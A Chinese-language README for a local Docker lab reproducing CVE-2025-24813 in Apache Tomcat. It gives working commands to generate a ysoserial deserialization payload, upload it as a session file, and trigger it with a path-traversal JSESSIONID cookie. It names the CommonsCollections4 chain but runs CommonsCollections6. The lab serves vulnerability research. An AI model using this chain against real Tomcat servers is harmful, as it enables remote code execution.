
CVE-2025-24813的概念验证利用,展示Apache Tomcat HTTP PUT文件写入漏洞,导致恶意会话反序列化和远程代码执行。
此仓库包含一个简单应用,用于观察 CVE-2025-24813 的行为。该漏洞是 Apache Tomcat 中一个较新的漏洞,与 DefaultServlet 在启用写入功能 (readonly=false) 时的使用有关,允许通过 HTTP PUT(支持 partial PUT / Content-Range)进行不安全的写入操作,可能导致覆盖敏感文件(包括会话文件),从而在发生恶意反序列化时实现 RCE 场景。
该应用使用以下组件:
| 组件 | 功能 |
|---|---|
| Tomcat 9 + JDK 11 | 用作目标的易受攻击服务器 |
context.xml | 启用 PersistentManager + FileStore,将会话保存到磁盘 |
upload.jsp | 接收数据并写入磁盘的简单端点 |
/tmp/app-data/ | 上传文件将保存到的目录 |
初始想法是观察 Tomcat 在为此 CVE 研究而配置的环境中如何处理文件——首先发送一个无害请求(仅受控地写入一个文件,不尝试利用),然后发送一个恶意文件。
docker build -t tomcat-cve-2025-24813 .
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813
在另一个终端中执行以下命令:
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200
我们将发送一个简单文件,观察正常行为。
通过上传发送一个字符串:
echo "Arquivo Normal" > nota.txt
curl -X POST http://localhost:8080/upload.jsp \
-H "X-Filename: nota.txt" \
--data-binary "Essa é apenas uma mensagem simples."
如果一切正常,在运行 strace 的终端中不应出现任何内容。
注意:如果 strace 中出现 SIGSEGV 错误,请忽略。这些是 JVM 产生的杂音。
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
这里我们使用 CommonsCollections4 链生成一个对象,在易受攻击的场景中,该对象可能执行命令 touch /tmp/RCE。payload 将保存为 hack.session。
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
如果上述命令报错,是因为为了确保与现代 Java 版本(9+)的兼容性,需要添加 --add-opens 标志以禁用强封装(JPMS),否则它会阻止 ysoserial 使用的反射机制。
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session
执行此命令后,你将得到一个本地二进制文件:
hack.session
我们将 .session 文件发送到 JSP 端点,该端点将内容直接写入 /tmp/app-data 目录。
curl -v -X POST \
-H "X-Filename: hack.session" \
--data-binary @hack.session \
http://localhost:8080/upload.jsp
预期输出:
Arquivo salvo com sucesso em: /tmp/app-data/hack.session
📌 此时没有任何命令被执行——仅发生了文件写入到服务器。
现在我们发送一个包含 JSESSIONID=hack cookie 的请求,尝试迫使 Tomcat 加载刚刚创建的会话。
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"
在运行 strace 的终端中,应该会显示 execve 命令创建文件的过程。
要查看文件是否已被创建,我们还可以进入容器进行检查:
docker exec -it toy-cve ls -l /tmp/